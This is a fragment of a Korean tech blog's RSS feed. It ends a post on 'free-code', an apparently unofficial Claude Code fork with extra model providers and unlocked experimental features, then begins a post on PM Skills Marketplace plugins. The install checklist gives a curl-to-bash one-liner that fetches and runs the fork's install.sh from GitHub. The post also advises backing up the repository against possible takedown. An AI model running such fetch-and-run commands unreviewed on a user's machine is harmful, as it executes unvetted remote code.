&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;스크립트와 구조가 단순하다. 현재 정상 clone 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;외부 압력에 따라 저장소 접근이 다시 제한될 가능성을 완전히 배제하기 어렵다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;free-code를 공식 Claude Code 대체재로 보면 실망한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;더 실험적이고 더 거칠지만 더 많이 열어둔 포크&lt;/b&gt;다. 팀 표준 툴이 아니라 개인 실험 환경으로 보는 게 맞다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선택 기준은 단순하다. Bedrock &amp;middot; Vertex AI &amp;middot; Codex 중 하나를 Claude Code 감각으로 붙여보고 싶다면 free-code가 맞다. 안정성과 지원이 최우선이라면 공식판이 맞다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section10&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 트러블슈팅 Q&amp;amp;A + 결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;10.1 Q&amp;amp;A&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. install.sh를 그대로 실행하면 되나?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;현재(2026-04-12)는 정상 동작한다. 과거(2026-04-02)에는 git clone 403 disabled로 막히는 상황이 있었으나 현재는 복구됐다. 단, 이 저장소 특성상 향후 접근이 다시 제한될 가능성을 고려해 clone 직후 로컬 백업을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. GitHub clone이 막히면 대안이 있나?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;README가 IPFS mirror(CID: bafybeiegvef3dt24n2znnnmzcud2vxat7y7rl5ikz7y7oglxappim54bm)를 함께 제공한다. Filecoin을 통해 영구 보관된 스냅샷이다. 다만 이 mirror가 곧바로 빌드 가능한 full repo인지는 별도 확인이 필요하다. 가장 확실한 대안은 지금 시점에 clone해서 로컬 백업을 만들어 두는 것이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. Codex provider를 쓰려면 OpenAI API 키가 꼭 필요한가?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 저장소가 전제하는 기본 경로는 OpenAI OAuth다. 다만 모든 상황에서 API 키가 필요 없다고 일반화해서 쓰면 안 된다. 이 글은 README와 코드에 확인된 OAuth 경로만 다룬다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;10.2 &quot;누가 써볼 만한가 / 누가 그냥 공식판을 쓰는 게 나은가&quot; 결정 매트릭스&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1956&quot; data-origin-height=&quot;1074&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bURCIG/dJMb99MJNBU/Vt5iwvJSYdTnekWXBKeyp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bURCIG/dJMb99MJNBU/Vt5iwvJSYdTnekWXBKeyp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bURCIG/dJMb99MJNBU/Vt5iwvJSYdTnekWXBKeyp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbURCIG%2FdJMb99MJNBU%2FVt5iwvJSYdTnekWXBKeyp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1956&quot; height=&quot;1074&quot; data-origin-width=&quot;1956&quot; data-origin-height=&quot;1074&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code 스타일 UX로 Codex 모델을 붙여 보고 싶은 경우&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;free-code를 써볼 만하다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;OpenAI provider와 OAuth 경로가 실제로 구현돼 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;안정성과 공식 지원이 최우선일 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;공식 Claude Code가 낫다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;free-code는 포크이고 experimental bundle 성격이 강하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;설치가 한 번에 끝나야 하는 팀 환경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;공식 Claude Code가 낫다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;저장소 접근 안정성이 보장되지 않는 실험적 포크다. 팀 표준 툴로는 공식판이 더 적합하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;experimental feature를 만져보고 싶은 경우&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;free-code가 더 재미있다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;build:dev:full이 working feature bundle 전체를 켠다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;free-code는 팀 표준 툴보다 개인 실험, 연구, provider 비교 용도에 더 맞는 도구다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;10.3 오늘 바로 따라할 체크리스트&lt;/h3&gt;
&lt;ol style=&quot;margin: 0 0 16px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Bun 1.3.11+ 설치 여부를 먼저 확인한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;one-liner(&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;curl -fsSL https://raw.githubusercontent.com/paoloanzn/free-code/main/install.sh | bash&lt;/code&gt;)로 설치한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;ls -l ./cli-dev&lt;/code&gt;로 빌드 완료를 확인한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;~/.local/bin/free-code&lt;/code&gt; 링크를 잡고 PATH를 추가한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;사용할 provider의 환경변수를 설정한다 &amp;mdash; Codex: &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_USE_OPENAI=1&lt;/code&gt; / Bedrock: &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_USE_BEDROCK=1&lt;/code&gt; / Vertex: &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_USE_VERTEX=1&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;환경변수 설정 후 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code /login&lt;/code&gt;으로 로그인한다&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;10.4 결론&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;free-code는 &lt;b&gt;Claude Code의 터미널 하네스를 유지하면서, provider와 실험 기능을 더 거칠게 열어둔 포크&lt;/b&gt;다. 이게 전부다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치와 사용법 자체는 어렵지 않다. one-liner로 설치하고, 쓸 provider를 고르고, 환경변수를 설정한 뒤 로그인하면 된다. 그래서 이 도구는 공식판 대체재로 보기보다, Codex &amp;middot; Bedrock &amp;middot; Vertex AI 등 멀티-provider CLI를 Claude Code 감각으로 실험해보고 싶은 개발자에게 더 잘 맞는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 시점에서 가장 실무적인 조언은 이것이다. &lt;b&gt;어떤 provider를 쓸지 먼저 결정하고 &amp;rarr; 해당 환경변수를 설정한 뒤 &amp;rarr; 로그인 경로를 확인해라.&lt;/b&gt; 그래야 provider별 인증 흐름 차이에서 헤매지 않는다. 그리고 포크 특성상 GitHub 접근이 다시 제한될 가능성을 고려해 clone 직후 로컬 백업을 만들어 두는 편이 안전하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1936&quot; data-origin-height=&quot;1100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Zjb60/dJMcaadQ7s4/kfoEUb0abDtRg4KYddkLpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Zjb60/dJMcaadQ7s4/kfoEUb0abDtRg4KYddkLpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Zjb60/dJMcaadQ7s4/kfoEUb0abDtRg4KYddkLpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZjb60%2FdJMcaadQ7s4%2FkfoEUb0abDtRg4KYddkLpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1936&quot; height=&quot;1100&quot; data-origin-width=&quot;1936&quot; data-origin-height=&quot;1100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 참고 자료 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 35px 0 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0; font-weight: bold; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;참고 자료&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/paoloanzn/free-code/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;free-code README&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/paoloanzn/free-code/main/install.sh&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;free-code install.sh&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/paoloanzn/free-code/main/FEATURES.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;free-code FEATURES.md&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/paoloanzn/free-code/main/src/constants/codex-oauth.ts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;src/constants/codex-oauth.ts&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/paoloanzn/free-code/main/src/services/oauth/codex-client.ts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;src/services/oauth/codex-client.ts&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/paoloanzn/free-code/main/src/cli/handlers/auth.ts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;src/cli/handlers/auth.ts&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/paoloanzn/free-code/main/src/utils/model/configs.ts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;src/utils/model/configs.ts&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/ChatGPT(Codex)</category>
      <category>Anthropic Foundry</category>
      <category>AWS Bedrock Claude</category>
      <category>Claude Code fork</category>
      <category>Claude Code 포크</category>
      <category>free-code</category>
      <category>OpenAI Codex CLI</category>
      <category>멀티 provider AI</category>
      <category>실험 기능 unlock</category>
      <category>코딩 에이전트 포크</category>
      <category>터미널 코딩 에이전트</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/580</guid>
      <comments>https://goddaehee.tistory.com/580#entry580comment</comments>
      <pubDate>Sun, 12 Apr 2026 18:06:29 +0900</pubDate>
    </item>
    <item>
      <title>PM Skills 분석 : 8개 PM 플러그인과 36개 워크플로우 - PM Skills Marketplace로 혼자서 PM 팀처럼 일하기</title>
      <link>https://goddaehee.tistory.com/578</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI에게 그냥 단순히 &quot;PRD 좀 써줘&quot;라고 하면 나오는 게 텍스트 덩어리이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구조도, 우선순위 기준도, 검증 방법도 없다. PM Skills Marketplace는 이 지점을 공략한다고 한다. &quot;제네릭 AI는 텍스트를 주면서, 우리는 구조를 제공한다&quot;.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2246&quot; data-origin-height=&quot;1502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XDjKc/dJMb9962ZMB/R6VC6kFHyfKTLKaVHasp5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XDjKc/dJMb9962ZMB/R6VC6kFHyfKTLKaVHasp5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XDjKc/dJMb9962ZMB/R6VC6kFHyfKTLKaVHasp5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXDjKc%2FdJMb9962ZMB%2FR6VC6kFHyfKTLKaVHasp5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2246&quot; height=&quot;1502&quot; data-origin-width=&quot;2246&quot; data-origin-height=&quot;1502&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 프로젝트는 65개 PM 스킬과 36개 체인드 워크플로우를 8개 플러그인으로 묶어서 제공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MIT 라이선스 오픈소스로, GitHub에서 누구나 사용할 수 있다. Paweł Huryn이 The Product Compass Newsletter에서 큐레이팅했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 이 프로젝트의 아키텍처와 8개 플러그인별 기능, 소스코드 구조, 활용법등을 살펴보려고 한다.&lt;/p&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;소개 및 대안 비교&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설치 및 시작하기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;핵심 기능: 8개 플러그인 상세
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;pm-product-discovery &amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/discover&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/brainstorm&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/triage-requests&lt;/code&gt; 등 5개 명령어&lt;/li&gt;
&lt;li&gt;pm-product-strategy &amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/strategy&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/business-model&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/pricing&lt;/code&gt; 등 5개 명령어&lt;/li&gt;
&lt;li&gt;pm-execution &amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/write-prd&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/plan-okrs&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/sprint&lt;/code&gt; 등 10개 명령어&lt;/li&gt;
&lt;li&gt;pm-market-research &amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/research-users&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/competitive-analysis&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/analyze-feedback&lt;/code&gt; 3개 명령어&lt;/li&gt;
&lt;li&gt;pm-data-analytics &amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/write-query&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/analyze-cohorts&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/analyze-test&lt;/code&gt; 3개 명령어&lt;/li&gt;
&lt;li&gt;pm-go-to-market &amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/plan-launch&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/growth-strategy&lt;/code&gt; 등 3개 명령어&lt;/li&gt;
&lt;li&gt;pm-marketing-growth &amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/market-product&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/north-star&lt;/code&gt; 2개 명령어&lt;/li&gt;
&lt;li&gt;pm-toolkit &amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/review-resume&lt;/code&gt; &lt;code style=&quot;background: #f0f0f0; padding: 1px 5px; border-radius: 3px; font-size: 13px;&quot;&gt;/proofread&lt;/code&gt; 등 5개 명령어&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;기술 아키텍처 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;소스코드 핵심 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;활용법 및 통합 방법&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 사용 예시: PM 워크플로우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항 및 주의사항&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 소개 및 대안 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PM Skills Marketplace는 Claude Code, Cowork, Gemini CLI, Cursor, OpenCode 등 다양한 AI 어시스턴트에서 PM 업무를 자동화하는 스킬 모음이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순히 AI에게 질문하는 것과의 차이점은, &lt;b&gt;검증된 PM 프레임워크&lt;/b&gt;를 구조화된 스킬로 내장했다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6명의 저자(&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;Teresa Torres의 Continuous Discovery Habits, Marty Cagan의 INSPIRED, Dan Olsen의 The Lean Product Playbook 등&lt;/span&gt;) 이론이 스킬 설계에 반영되어 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XzlaB/dJMcafM1cWW/PaszZa7LqbTd6UfMFrc3q0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XzlaB/dJMcafM1cWW/PaszZa7LqbTd6UfMFrc3q0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XzlaB/dJMcafM1cWW/PaszZa7LqbTd6UfMFrc3q0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXzlaB%2FdJMcafM1cWW%2FPaszZa7LqbTd6UfMFrc3q0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;1086&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치 및 시작하기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 가지 환경에서 설치할 수 있다. 목적에 따라 선택하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.1 Claude Code CLI&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자 환경이라면 CLI 설치가 직접적이다. marketplace를 추가한 뒤 개별 플러그인을 설치하는 2단계 방식이다.&lt;/p&gt;
